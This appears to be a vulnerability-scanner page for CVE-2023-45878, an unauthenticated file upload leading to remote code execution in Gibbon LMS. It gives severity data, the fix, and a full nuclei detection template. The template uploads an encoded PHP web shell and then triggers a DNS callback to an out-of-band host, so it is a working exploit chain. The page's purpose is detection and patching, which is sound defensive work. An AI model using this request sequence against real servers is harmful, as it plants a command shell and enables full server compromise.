Gibbon LMS <= v25.0.01 - File Upload to RCE

criticalseverity

9.8CVSS score

63.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.

Impact

Unauthenticated attackers can upload arbitrary PHP files through the rubrics_visualise_saveAjax endpoint to execute arbitrary code on the Gibbon LMS server, enabling complete application and server compromise.

Fix

Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection.

How to confirm it

Send: POST /modules/Rubrics/rubrics_visualise_saveAjax.php
Positive when: regex('^{{filename}}.php$', body) and status_code == 200
Send: GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}}
Positive when: contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2023-45878 -u <target>

The full check

id: CVE-2023-45878

info:
  name: Gibbon LMS <= v25.0.01 - File Upload to RCE
  author: ajdumanhug
  severity: critical
  description: |
    Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the rubrics_visualise_saveAjax endpoint to execute arbitrary code on the Gibbon LMS server, enabling complete application and server compromise.
  remediation: |
    Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection.
  reference:
    - https://github.com/GibbonEdu/core/releases/tag/v26.0.00
    - https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45878
    - https://herolab.usd.de/security-advisories/usd-2023-0025/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45878
    epss-score: 0.63365
    epss-percentile: 0.99214
  metadata:
    verified: true
    max-requests: 1
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,file-upload,rce,gibbonedu,gibbon,vkev,vuln

flow: http(1) && http(2)

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        img=image/png;{{filename}},PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&path={{filename}}.php&gibbonPersonID=0000000001

    matchers:
      - type: dsl
        dsl:
          - "regex('^{{filename}}.php$', body)"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from